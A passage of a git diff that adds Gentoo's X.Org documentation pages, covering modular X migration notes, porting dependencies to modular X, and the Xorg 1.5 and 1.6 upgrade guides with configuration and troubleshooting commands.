+    required fonts. You may additionally install any others in media-fonts/.
+  </ti>
+</tr>
+<tr>
+  <ti>cjk</ti>
+  <ti>
+    USE=nls on font-misc-misc and font-sony-misc to get Japanese JISX0201
+    fonts. More are in font-jis-misc. Chinese fonts are in font-isas-misc.
+    Korean fonts are in font-daewoo-misc.
+  </ti>
+</tr>
+<tr>
+  <ti>dlloader</ti>
+  <ti>7.0 uses the dlloader by default, and the elfloader doesn't work.</ti>
+</tr>
+<tr>
+  <ti>doc</ti>
+  <ti>Moved to app-doc/xorg-docs</ti>
+</tr>
+<tr>
+  <ti>dmx</ti>
+  <ti>Built in xorg-server unless USE=minimal</ti>
+</tr>
+<tr>
+  <ti>font-server</ti>
+  <ti>You may manually install xfs.</ti>
+</tr>
+<tr>
+  <ti>ipv6</ti>
+  <ti>Moved to individual packages using it. Set globally if you want it.</ti>
+</tr>
+<tr>
+  <ti>minimal</ti>
+  <ti>
+    To get the same effect, install just xorg-server rather than xorg-x11.
+    USE=minimal on xorg-server to avoid building Xdmx, Xvfb and Xnest.  If you
+    require something more minimal, look into x11-base/kdrive.
+  </ti>
+</tr>
+<tr>
+  <ti>nls</ti>
+  <ti>In 7.0, USE=nls installs all non-ISO8859-1 versions of fonts.</ti>
+</tr>
+<tr>
+  <ti>nocxx</ti>
+  <ti>Not yet an equivalent in 7.0</ti>
+</tr>
+<tr>
+  <ti>opengl</ti>
+  <ti>
+    Changed names to "dri," which enables direct rendering in xorg-server and
+    many drivers. Whether USE=dri is on or off, you should still get software
+    3D via Mesa.
+  </ti>
+</tr>
+<tr>
+  <ti>pam</ti>
+  <ti>Moved to individual packages using it, such as xorg-server and xdm</ti>
+</tr>
+<tr>
+  <ti>sdk</ti>
+  <ti>7.0 must install the SDK as a consequence of modularization.</ti>
+</tr>
+<tr>
+  <ti>static</ti>
+  <ti>
+    Mostly doesn't make much sense to try building a static server in a modular
+    world, because the driver can't be built into it.
+  </ti>
+</tr>
+<tr>
+  <ti>xprint</ti>
+  <ti>
+    On metabuild, pulls in libXp. On other applications, builds in xprint
+    support. Most people will not want to enable this.
+  </ti>
+</tr>
+<tr>
+  <ti>xv</ti>
+  <ti>
+    No longer optional because it doesn't save much size and causes other
+    issues with some packages expecting it.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>What happened to all the config files?</title>
+<body>
+
+<p>
+In Gentoo's X.Org 6.8 package, all of the configuration files and scripts were
+stored in <path>/etc/X11</path>. In modular X.Org, the upstream locations for
+these files have been changed -- that is, configuration files are still in
+<path>/etc/X11</path>, but scripts and default configurations are now in
+<path>/usr/lib/X11</path> (or <path>/usr/lib64/X11</path>) and
+<path>/usr/share/X11</path>.
+</p>
+
+<p>
+Because of configuration protection (CONFIG_PROTECT), you will probably have
+all of your old configuration files from X.Org 6.8 still in
+<path>/etc/X11</path>, taking up space and looking useful.
+</p>
+
+<p>
+Since these new directories are not in CONFIG_PROTECT, it is important that any
+changes to default configurations be done by copying the relevant files to
+<path>/etc/X11</path> and updating the appropriate configuration file there.
+Alternatively, but not recommended, the new location can be config-protected.
+Below are some examples:
+</p>
+
+<pre caption="Customizing the initialization of XDM">
+<comment>
+First, copy the Xsetup_0 file to /etc so it is config-protected.
+</comment>
+# <i>cp -a /usr/lib/X11/xdm/Xsetup_0 /etc/X11/xdm/</i>
+<comment>
+Edit the file and customize as you wish.
+</comment>
+<comment>
+Then, edit xdm-config to update the path to this file.
+</comment>
+# <i>nano /etc/X11/xdm/xdm-config</i>
+<comment>
+Change the following from this:
+</comment>
+    ! The following three resources set up display :0 as the console.
+    DisplayManager._0.setup:        /usr/lib/X11/xdm/Xsetup_0
+    DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+    DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+<comment>
+...to this:
+</comment>
+    ! The following three resources set up display :0 as the console.
+    <i>DisplayManager._0.setup:        /etc/X11/xdm/Xsetup_0</i>
+    DisplayManager._0.startup:      /usr/lib/X11/xdm/GiveConsole
+    DisplayManager._0.reset:        /usr/lib/X11/xdm/TakeConsole
+</pre>
+<note>
+On 64-bit multilib systems with the no-symlink profile, you need to change lib
+to lib64.
+</note>
+
+<p>
+In this example submitted by Joe Womack, we'll customize some <c>xterm</c>
+settings.  This can either be done globally or on a per-user basis.
+</p>
+
+<pre caption="Customizing app-defaults/XTerm-color globally">
+<comment>
+Similar to above, create a copy of the file in /etc so that it is
+config-protected:
+</comment>
+# <i>cp -a /usr/share/X11/app-defaults/XTerm-color /etc/X11/app-defaults/</i>
+<comment>
+Customize the file as you wish.  Now, we need to tell Xt where to find the
+files through XFILESEARCHPATH.  Put it in a file under /etc/env.d:
+</comment>
+# <i>echo '# This applies the customizations system-wide.' >> /etc/env.d/10xpaths</i>
+# <i>echo 'XFILESEARCHPATH=/etc/X11/%T/%N:/usr/share/X11/%T/%N' >> /etc/env.d/10xpaths</i>
+</pre>
+
+<pre caption="Customizing app-defaults/XTerm-color locally">
+<comment>There are two ways to do this:</comment>
+<comment>1) Setup a per-user app-defaults directory:</comment>
+# <i>echo '# This applies user customizations in $HOME/app-defaults.' >> /etc/env.d/10xpaths </i>
+# <i>echo 'XUSERFILESEARCHPATH=$HOME/%T/%N' >> /etc/env.d/10xpaths</i>
+
+<comment>
+2) Create a .Xdefaults or .Xresources and copy the settings you want to
+change. This example changes all XTerms to have an orange cursor, run as a
+login shell, have a scroll bar decoration, and a 1000 line scroll back buffer:
+</comment>
+# <i>echo '! Xterm defaults'               >> .Xresources</i>
+# <i>echo 'XTerm*CursorColor:      orange' >> .Xresources</i>
+# <i>echo 'XTerm*loginShell:       true'   >> .Xresources</i>
+# <i>echo 'XTerm*scrollBar:        true'   >> .Xresources</i>
+# <i>echo 'XTerm*saveLines:        1000'   >> .Xresources</i>
+
+<comment>
+For these setting to take effect, the either re-start X or run:
+</comment>
+# <i>xrdb -merge $HOME/.Xresources</i>
+</pre>
+
+<note>
+See http://www.faqs.org/faqs/x-faq/part2/section-22.html for more details on
+setting XFILESEARCHPATH and XUSERFILESEARCHPATH.  See
+http://tldp.org/HOWTO/XWindow-User-HOWTO/moreconfig.html#XRESOURCES for more
+details on .Xresources.
+</note>
+
+</body>
+</section>
+<section>
+<title>Driver problems</title>
+<body>
+
+<p>
+I've had reports that:
+</p>
+
+<ul>
+  <li>vesa locks up box with a Matrox card</li>
+  <li>vga produces a very weird-looking screen, divided into quarters</li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Getting 3D acceleration working again</title>
+<body>
+
+<p>
+To get some debugging info to help in getting direct rendering working:
+</p>
+
+<pre caption="Getting some debug info">
+# <i>grep -e EE -e WW /var/log/Xorg.0.log</i>
+# <i>LIBGL_DEBUG=verbose glxinfo</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Mouse protocol autodetection</title>
+<body>
+
+<p>
+If you have <c>"Protocol" "auto"</c> set in xorg.conf for your mouse, it may
+not work. You may need to specify <c>"Protocol" "ExplorerPS/2"</c> or
+<c>"IMPS/2"</c> for your wheel to work.
+</p>
+
+</body>
+</section>
+<section>
+<title>I'm getting error messages about libbitmap or libpcidata not
+found</title>
+<body>
+
+<p>
+Make sure no <c>ModulePath</c> entry exists in <path>/etc/X11/xorg.conf</path>.
+</p>
+
+</body>
+</section>
+<section>
+<title>gdm/kdm don't work</title>
+<body>
+
+<p>
+If you installed modular X on a fresh Gentoo installation, you may not have a
+<path>/usr/X11R6</path> -&gt; <path>/usr</path> symlink. The
+<c>x11-base/xorg-x11</c> package will ensure that the symlink exists during the
+emerge process.
+</p>
+
+<p>
+You can help get things out of <path>/usr/X11R6</path> by fixing the packages
+that install there and filing bugs. Also, remember to reinstall these packages.
+</p>
+
+<pre caption="Packages that install to /usr/X11R6">
+# <i>cat ~/usr-x11r6-packages</i>
+# <i>emerge --pretend $(&lt; ~/usr-x11r6-packages )</i>
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>XKB doesn't work, I can't switch VTs, etc</title>
+<body>
+
+<ul>
+  <li>
+    Many XKB layouts have moved around, consolidated or disappeared. Take a
+    look in <path>/usr/share/X11/xkb/symbols/</path> to see what happened to
+    your old XkbLayout settings in xorg.conf. For example, to replace the old
+    "us_intl" layout, you would put <c>"XkbLayout" "latin"</c>, <c>"XkbOptions"
+    "lv3:ralt_switch"</c>. To replace the old "sk_qwerty" layout, you would put
+    <c>"XkbLayout" "sk"</c>, <c>"XkbVariant" "qwerty"</c>. For a more advanced
+    example, perhaps you have <c>"XkbLayout" "us,sk_qwerty"</c>. To get that
+    working, the new setting would be <c>"XkbLayout" "us,sk"</c>, and the
+    tricky part is in the comma here: <c>"XkbVariant" ",qwerty"</c>, because
+    you want the variant to apply to your second layout.
+  </li>
+</ul>
+
+<pre caption="Tracking down XKB changes">
+<comment>Check /var/log/Xorg.0.log for this message:</comment>
+<comment>(WW) Couldn't load XKB keymap, falling back to pre-XKB keymap</comment>
+<comment>If you do not have that error, your XKB works already.</comment>
+# <i>grep Xkb /etc/X11/xorg.conf</i>
+        Option "XkbModel"  "logibik"
+        Option "XkbLayout"  "dvorak"
+        Option "XkbOptions" "ctrl:swapcaps"
+<comment>First, see what changed with your layout. This is in the symbols/pc 
+directory.</comment>
+# <i>cd /usr/share/X11/xkb/symbols/</i>
+<comment>If you have xkbdata instead of xkeyboard-config installed, change to 
+the pc/ subdirectory.</comment>
+# <i>ls *dvorak*</i>
+<comment>OK, nothing showed up.</comment>
+<comment>Lots of old layouts moved into their country-coded keymaps.</comment>
+# <i>ls *us*</i>
+us
+<comment>Now, we check for an xkb_symbols variant called dvorak.</comment>
+# <i>grep xkb_symbols.*dvorak us</i>
+xkb_symbols "dvorak" {
+<comment>That means in xorg.conf, we need Option "XkbLayout" "us"</comment>
+<comment>and Option "XkbVariant" "dvorak".</comment>
+
+<comment>But when we try to test this with setxkbmap, we still get an 
+error</comment>
+# <i>setxkbmap -model logibik -layout us -variant dvorak -option 
+"ctrl:swapcaps"</i>
+<comment>Maybe the model changed, too.</comment>
+# <i>cd /usr/share/X11/xkb/rules/</i>
+# <i>grep logibik xorg.lst</i>
+<comment>No output from that, so that model is gone. How about similar 
+ones?</comment>
+# <i>grep logi* xorg.lst</i>
+  logiaccess      Logitech Access Keyboard
+  logicdit        Logitech Cordless Desktop iTouch
+  logicdp         Logitech Cordless Desktop Pro
+  logicdpa        Logitech Cordless Desktop Pro (alternate option)
+  logicdpa2       Logitech Cordless Desktop Pro (alternate option2)
+  logicdo         Logitech Cordless Desktop Optical
+  logicfn         Logitech Cordless Freedom/Desktop Navigator
+  logicdn         Logitech Cordless Desktop Navigator
+  logidak         Logitech Deluxe Access Keyboard
+  logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+  logiik          Logitech Internet Keyboard
+  logiitc         Logitech iTouch Cordless Keyboard (model Y-RB6)
+  logiik          Logitech Internet Keyboard
+  logiink         Logitech Internet Navigator Keyboard
+  logiultrax      Logitech Ultra-X Keyboard
+<comment>Great! The "logiik" model looks similar, so test it out with 
+setxkbmap.</comment>
+# <i>setxkbmap -model logiik -layout us -variant dvorak -option 
+"ctrl:swapcaps"</i>
+<comment>It worked, so change the XkbModel entry to that.</comment>
+<comment>After that, everything works</comment>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Other Issues</title>
+<body>
+
+<ul>
+  <li>
+    The <c>x11-base/xorg-x11</c> package now filters all ModulePath and RgbPath
+    lines from your <path>/etc/X11/xorg.conf</path>, as both of these paths
+    have changed since previous versions. Make sure you run <c>etc-update</c>
+    to finalize these changes. If for some reason they weren't filtered, remove
+    them yourself.
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/x/x11/modular-x-todo.txt b/xml/htdocs/proj/en/desktop/x/x11/modular-x-todo.txt
new file mode 100644
index 00000000..f7481e70
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/modular-x-todo.txt
@@ -0,0 +1,12 @@
+Move the arch-specific default settings for input devices and video cards into
+profiles, to clean up the xorg-server/xorg-x11 ebuilds.
+
+Licenses that are just placeholders:
+encodings
+font-alias
+gccmakedep
+mkfontdir
+xf86-video-v4l
+xorg-sgml-doctools
+kdrive
+xorg-server
diff --git a/xml/htdocs/proj/en/desktop/x/x11/porting-modular-x-howto.xml b/xml/htdocs/proj/en/desktop/x/x11/porting-modular-x-howto.xml
new file mode 100644
index 00000000..e29ec7b2
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/porting-modular-x-howto.xml
@@ -0,0 +1,281 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/x/x11/porting-modular-x-howto.xml,v 1.8 2006/07/07 06:02:36 dberkholz Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/desktop/x/x11/porting-modular-x-howto.xml">
+<title>Porting to Modular X HOWTO</title>
+
+<author title="Author">
+  <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+
+<abstract>
+This guide shows you how to port packages to use the new modular X.Org.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1.0</version>
+<date>2006-01-03</date>
+
+<chapter>
+<title>Background</title>
+
+<section>
+<title>Introduction</title>
+<body>
+
+<p>
+You may be wondering, why in the world did one nice, easy xorg-x11 package turn
+into almost 300 separate ones? And you'd certainly be justified in this. =)
+It's not something Gentoo is doing independently of upstream X.Org; they're
+splitting up all the packages into separate releases, and we're just following
+along.
+</p>
+
+<p>
+You can read up on the details at the <uri
+link="http://www.gentoo.org/proj/en/desktop/x/x11/modular-x-howto.xml#doc_chap1_sect1">Migrating
+to Modular X HOWTO</uri> page.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Dependency checking</title>
+<section>
+<body>
+
+<p>
+We want to enumerate the dependencies as finely as possible, so people don't
+to have unused cruft lying all over their systems for things they don't even
+use, such as XPrint. So you want to depend directly upon the library and header
+packages you need rather than any sort of virtual.
+</p>
+
+<p>
+Also, we can't guarantee that people will still have subpackages installed just
+because they have a metabuild installed, and eliminating that possibility of
+breakage will save us all a lot of time that would be spent marking bugs
+INVALID.
+</p>
+
+<p>
+If I find any packages depending upon any of the metabuilds there will be, I
+won't hesitate to hassle and haze the maintainer unto eternity.
+</p>
+
+<p>
+First step is to either install modular X or find somebody who has it installed.
+This can be done in a chroot -- there's no need to actually run X, you just need
+to have its files available for dependency checking.
+</p>
+
+<pre caption="Getting the needed scripts">
+$ <i>wget http://dev.gentoo.org/~dberkholz/scripts/linking_libs.sh \
+	http://dev.gentoo.org/~dberkholz/scripts/included_headers.sh \
+	http://dev.gentoo.org/~betelgeuse/scripts/deputils/checkdeps.rb \
+	http://dev.gentoo.org/~betelgeuse/scripts/deputils/pkgutil.rb</i>
+</pre>
+
+<impo>
+Do <e>not</e> use <c>gentoolkit-0.2.1_pre9</c>, it produces invalid output. See
+<uri>https://bugs.gentoo.org/show_bug.cgi?id=111501</uri>.
+</impo>
+
+<p>
+The first script, <c>linking_libs.sh</c>, checks a compilation log of your
+package for all the libraries it links with, and prints out the packages those
+libraries belong to. To get a compilation log, you may set PORT_LOGDIR in
+<path>/etc/make.conf</path> or use output redirection.
+</p>
+
+<pre caption="Running linking_libs.sh for the gdm package">
+$ <i>ls /var/log/portage/*gdm* -l</i>
+-rw-r--r-- 1 root portage 556551 2006-01-09 11:41 /var/log/portage/8430-gdm-2.8.0.7.log
+-rw-r--r-- 1 root portage    855 2006-01-09 11:42 /var/log/portage/8431-gdm-2.8.0.7.log
+$ <i>linking_libs.sh /var/log/portage/8430-gdm-2.8.0.7.log</i>
+</pre>
+
+<p>
+The second script, <c>included_headers.sh</c>, scans the unpacked source of your
+package for lines starting with #include, and grabs out include files contained
+in &lt;&gt;. As of 9 Sept. 2005, it does work for ""-style includes as well as
+&lt;&gt;.
+</p>
+
+<p>
+The third script, <c>checkdeps.rb</c>, scans the installed files of a package
+using <c>scanelf</c> from pax-utils. This is useful for binary packages or
+packages that otherwise hide the compilation output. It's a Ruby script, so it
+depends on dev-lang/ruby as well as app-misc/pax-utils. The fourth script,
+<c>pkgutil.rb</c>, is a dependency of <c>checkdeps.rb</c>.
+</p>
+
+<p>
+Running the first two scripts should get you a good list of packages for both
+RDEPEND (for libraries) and DEPEND (headers and libraries). If a library shows
+up in the RDEPEND list that doesn't show up in the DEPEND list, be suspicious;
+it may be a "false dependency," (a library that's linked against for no reason).
+One known example of a true dependency like this is libXt; many packages check
+for libXt headers to check for X.
+</p>
+
+<p>
+Occasionally the relative header search in <c>included_headers.sh</c> will find
+the wrong header, because there are multiple ones named the same, and thus will
+return an incorrect package. Usually this is quite obvious, such as when Windows
+headers make it think app-emulation/wine is a dependency.
+</p>
+
+<p>
+If you specify the <c>-d</c> option, occasionally you'll run into a library or
+header that comes up "Not found!" This may mean you've uninstalled a header the
+package needs since compiling it, or it's an optional header you aren't using.
+In the library case, it could mean you uninstalled the lib or perhaps it was
+only an internally-built static library that was never installed. 
+</p>
+
+<p>
+It's worth spending the time to figure out whether libraries or headers that
+aren't found need to be added to the dependency list, particularly in the header
+case since you don't need the headers installed to run the scan.
+</p>
+
+<p>
+In some cases, packages require an actual X server of some sort. But if they
+don't actually require it during the installation, I encourage you to not put
+it into the RDEPEND. This breaks headless X installations, where the programs
+actually run on another machine so only need local libraries and headers.
+</p>
+
+<p>
+There are already a number of X servers in the tree, so if you do need an X
+server, please include them all. Modular X's servers are in xorg-server; there's
+a DirectFB server at xdirectfb; kdrive provides tiny X servers; and of course
+old &lt;xorg-x11-7. Do specify the version restriction on xorg-x11, to ensure an
+X server instead of a metabuild. In the near future, I anticipate kdrive moving
+to xserver. If you do require an X server, please contact a member of the X
+team. We may create a virtual for it if a sufficient number of packages require
+it.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Dependency structure</title>
+<section>
+<body>
+
+<p>
+On to actually adding the dependencies -- you'll want a structure like this:
+</p>
+
+<pre caption="RDEPEND/DEPEND Structures">
+RDEPEND="|| ( ( x11-libs/libXfoo
+			x11-libs/libXbar
+			blah? ( x11-libs/libXblah )
+			whatever else shows up in the library run
+		)
+		virtual/x11
+	)
+
+DEPEND="${RDEPEND}
+	|| ( ( x11-proto/fooproto
+			blah? ( x11-proto/blahproto )
+			whatever else shows up in both script runs
+		)
+		virtual/x11
+	)
+</pre>
+
+<impo>
+Some of the results produced by the scripts <e>will</e> be redundant. If the
+RDEPEND of one library includes another, you don't need to put both into the
+dependencies. If the DEPEND of a library includes a proto, you <e>do</e> need it
+in the DEPEND list of the package. Likely candidates for libraries that pull in
+lots of other libraries are <c>libXaw</c>, <c>libXmu</c>, <c>libXpm</c>,
+<c>libXcursor</c>, <c>libXt</c>. Just do <c>emerge -ep $library | grep
+lib[SIX]</c>. Also keep in mind that other packages like <c>gtk+</c> have been
+ported to modular dependencies, so they can pull in needed libraries as well. 
+</impo>
+
+<note>
+Two separate USE flags both will bring in X, but one is not dependent on the
+other. In this case, you will need to either duplicate the X dependency section
+or define it elsewhere and include it as ${X_DEPEND}. If defined elsewhere,
+remember to also include the parts specific to each USE flag.
+</note>
+
+<p>
+The goal here is defaulting to the new, modular X, but allowing people to also
+fulfill the dependencies with the old, monolithic xorg-x11 package. We're
+dropping virtual/x11 entirely to encourage the enumeration of proper
+dependencies.
+</p>
+
+<p>
+For the initial run through the tree, the porting task force only fixes the
+newest ebuild available to ~arch users, and anything newer (KEYWORDS=-* or
+package.mask). Individual package maintainers may choose to do this and allow
+the unported ebuilds to gradually fade from the tree, but they will probably
+want to port all their ebuilds at once. Repoman will soon die on any ebuild with
+a hard dependency on virtual/x11.
+</p>
+
+<impo>
+This should allow ~arch users to use the modular X by default while
+sending non-~arch users to virtual/x11.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Dealing with USE flags</title>
+<section>
+<body>
+
+<p>
+Many people have the xinerama USE flag deactivated. But if, when you're running
+<c>included_headers.sh</c>, x11-proto/xineramaproto shows up as a dependency,
+then add it to DEPEND behind the xinerama USE, and add x11-libs/libXinerama to
+RDEPEND behind the xinerama USE.
+</p>
+
+<p>
+Caleb raised a good point, and that is, how do you deal with all the USE flags
+on packages that have a ton of optional X library dependencies? In many cases,
+it will make sense to always force on or off flags. Also, you can make this
+easier by grouping flags. Make sure you're naming the flags by their functions
+and not by the libraries or packages they use.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Getting your fixes in the tree</title>
+<section>
+<body>
+
+<p>
+If you're a developer, commit them. If not, file a new bug, assigned to the
+package maintainers (in metadata.xml). Have it block bug <uri
+link="http://bugs.gentoo.org/112675">#112675</uri>. Attach a patch
+to fix the dependencies.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml b/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml
new file mode 100644
index 00000000..7afd82f3
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml
@@ -0,0 +1,259 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml,v 1.6 2009/10/05 14:07:51 remi Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml">
+<title>Xorg 1.5 Upgrade Guide</title>
+
+<author title="Author">
+  <mail link="remi"/>
+</author>
+
+<abstract>
+This guide shows you how to upgrade X.org to version 1.5.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-03-30</date>
+
+<chapter>
+<title>Ebuild changes</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    <c>x11-misc/xkbdata</c> is now completely deprecated. If you were not using
+    its replacement (<c>x11-misc/xkeyboard-config</c>), Portage may ask you to
+    remove it before proceeding with the update.
+  </li>
+  <li>
+    X now no longer forces a double hidden build of <c>media-libs/mesa</c>.
+    Mesa now builds the software renderer (swrast) and whatever hardware driver
+    you've chosen with the <c>VIDEO_CARDS</c> variable.
+  </li>
+  <li>
+    Due to the above change, the <c>dri</c> USE flag was dropped. Xorg will now
+    always have OpenGL support unless <c>USE=minimal</c> is set.
+  </li>
+  <li>
+    XPrint has been removed in Xorg 1.6 and newer, but we've decided to drop it
+    as well from 1.5. XPrint support has been removed from all X libraries.
+  </li>
+  <li>
+    Xorg now supports HAL to automatically hot-plug input devices, see the
+    section below to properly configure it.
+  </li>
+  <li>
+    The "synaptics" driver is now provided by
+    <c>x11-drivers/xf86-input-synaptics</c>
+  </li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuring Input</title>
+<section>
+<title>With HAL (with xf86-input-evdev)</title>
+<body>
+
+<p>
+In a nutshell, HAL allows to set the exact same properties as
+<path>xorg.conf</path> does but with a lot more flexibility: you can now have
+per-device layouts for instance. All of this is provided by the
+<c>xf86-input-evdev</c> driver.
+</p>
+
+<p>
+First, make sure you've built xorg-server
+with <c>INPUT_DEVICES="evdev"</c> and enabled evdev in your kernel.
+</p>
+<pre caption="Configuration for 2.6 kernels">
+Device Drivers ---&gt;
+
+Input device support ---&gt;
+
+--- Input device support
+[*]     Event interface
+</pre>
+
+<p>
+Then, we can configure HAL to correctly report the keyboard's layout. HAL ships
+with device rules that are kept in <path>/usr/share/hal</path>. 
+</p>
+
+<impo>
+Do <e>not</e> edit those, they will be overwritten during the next HAL update.
+You can instead add your own rules into <path>/etc/hal/fdi/policy</path>.
+</impo>
+
+<p>
+Sample configuration FDI files are available
+<path>/usr/share/doc/hal-*/*.fdi*</path>. Pick the one that best fits your
+current configuration and copy it to <path>/etc/hal/fdi/policy</path>.
+</p>
+
+<p>
+For example, if you just want a basic configuration for a non-US keyboard
+layout, copy the content of
+<path>/usr/share/doc/hal-*/use-estonian-layout.fdi.bz2</path> into
+<path>/etc/hal/fdi/policy/10-xinput-configuration.fdi</path> (using
+<c>bzcat</c>) and edit it to match the keyboard layout you wish to use.
+</p>
+
+<p>
+Don't forget to read <c>man evdev</c> to see the driver's capabilities and
+options (especially mouse wheel emulation, middle mouse button emulation, ...).
+</p>
+
+<note>
+Current HAL versions are not (yet) able to pick up FDI file changes on their
+own. You'll have to restart HAL's init script to see your changes. To make sure
+everything is correct, use the <c>lshal</c> utility to display HAL's device tree
+and search for "input". The content of your HAL rules should show up in lshal's
+output.
+</note>
+
+</body>
+</section>
+<section>
+<title>With HAL and other drivers (xf86-input-synaptics, linuxwacom, ...)</title>
+<body>
+
+<p>
+By default, HAL will tell the X server to use the <c>evdev</c> driver to access
+all input devices. However this can be changed to any input driver you wish.
+</p>
+
+<p>
+You can therefore put all your input device configuration into HAL even if you
+use other input drivers such as <c>synaptics</c> or <c>linuxwacom</c>.
+</p>
+
+<p>
+More information on how to configure those drivers can be found here:
+</p>
+
+<ul>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/xserver/tree/config/x11-input.fdi</uri>
+  </li>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/driver/xf86-input-synaptics/tree/fdi/11-x11-synaptics.fdi</uri>
+  </li>
+  <li>
+     <uri>http://cvs.fedoraproject.org/viewvc/rpms/linuxwacom/F-10/10-linuxwacom.fdi?view=markup</uri>
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Without HAL</title>
+<body>
+
+<p>
+If you don't want to use HAL, you can either build <c>xorg-server</c> with
+<c>USE="-hal"</c> or you can turn AutoAddDevices option off in the
+ServerFlags section of your <path>xorg.conf</path>.
+</p>
+
+<pre caption="Turning AutoAddDevices off">
+Option      "AutoAddDevices"    "false"
+</pre>
+
+<p>
+Both options will allow the X server to use the legacy <c>mouse</c> and
+<c>kbd</c> drivers.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configuring the graphics card</title>
+<section>
+<body>
+
+<p>
+The "Device" section in your xorg.conf should mostly work unchanged.
+</p>
+
+<p>
+However, if you have any issues, here's a few steps you can try:
+</p>
+
+<ul>
+  <li>
+    Try commenting out all "Options" in the "Device", "Screen" and "Monitor"
+    sections in your xorg.conf
+  </li>
+  <li>
+    Even better, try running Xorg without <e>any</e> <path>xorg.conf</path> (you
+    can rename it to <path>xorg.conf.old</path>)
+  </li>
+</ul>
+
+<p>
+Xorg drivers are now much better at actually detecting what kind of hardware you
+have and (except for a <e>few</e> special cases) the default settings should be
+kept.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Miscellaneous Options</title>
+<section>
+<body>
+
+<p>
+The old font handling was shaken quite a bit in our version of 1.5.3. The
+<c>freetype</c> module is now useless since the server uses <c>libXfont</c> to
+load whatever fonts you might have for legacy applications.
+</p>
+
+<p>
+As for legacy fonts themselves, they are now nearly useless as we provide a
+built-in "fixed" font which all legacy applications and toolkits should be able
+to use. Beware though that this font is extremely ugly.
+</p>
+
+<p>
+Xdmx is broken. Don't use it unless you know what you're doing.
+</p>
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Troubleshooting</title>
+<section>
+<body>
+<p>
+If you have strange mouse behaviour in all SDL-based applications
+(many games), you need to set the following in your <path>xorg.conf</path>:
+</p>
+<pre caption="Turning DGA off">
+Section "Module"
+       ...
+       SubSection  "extmod"
+         Option    "omit xfree86-dga"
+       EndSubSection
+       ...
+EndSection
+</pre>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml b/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml
new file mode 100644
index 00000000..2e71ab45
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml
@@ -0,0 +1,88 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml,v 1.6 2009/12/05 01:57:14 nightmorph Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide>
+<title>Xorg 1.6 Upgrade Guide</title>
+
+<author title="Author">
+  <mail link="remi"/>
+</author>
+
+<abstract>
+This guide shows you how to upgrade X.org to version 1.6.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-06-14</date>
+
+<chapter>
+<title>Upgrade procedure</title>
+<section>
+<body>
+
+<p>
+When upgrading xorg-server, you will likely have to upgrade <c>libxcb</c> as
+well. This library's upgrade is not as simple as it may seem. Therefore, <uri
+link="libxcb-1.4-upgrade-guide.xml">libxcb has its own upgrade guide</uri>.
+</p>
+
+<warn>
+Please do read and follow <c>libxcb</c>'s upgrade guide before upgrading
+xorg-server, or you will risk badly breaking your system.
+</warn>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Miscellaneous Options</title>
+<section>
+<body>
+
+<p>
+Xorg now ignores Ctrl-Alt-Backspace by default. If you want to reenable
+<e>zapping</e>, there are a couple options :
+</p>
+
+<ul>
+  <li>
+    If you run Gnome, go the Keyboard preferences applet in the System -&gt;
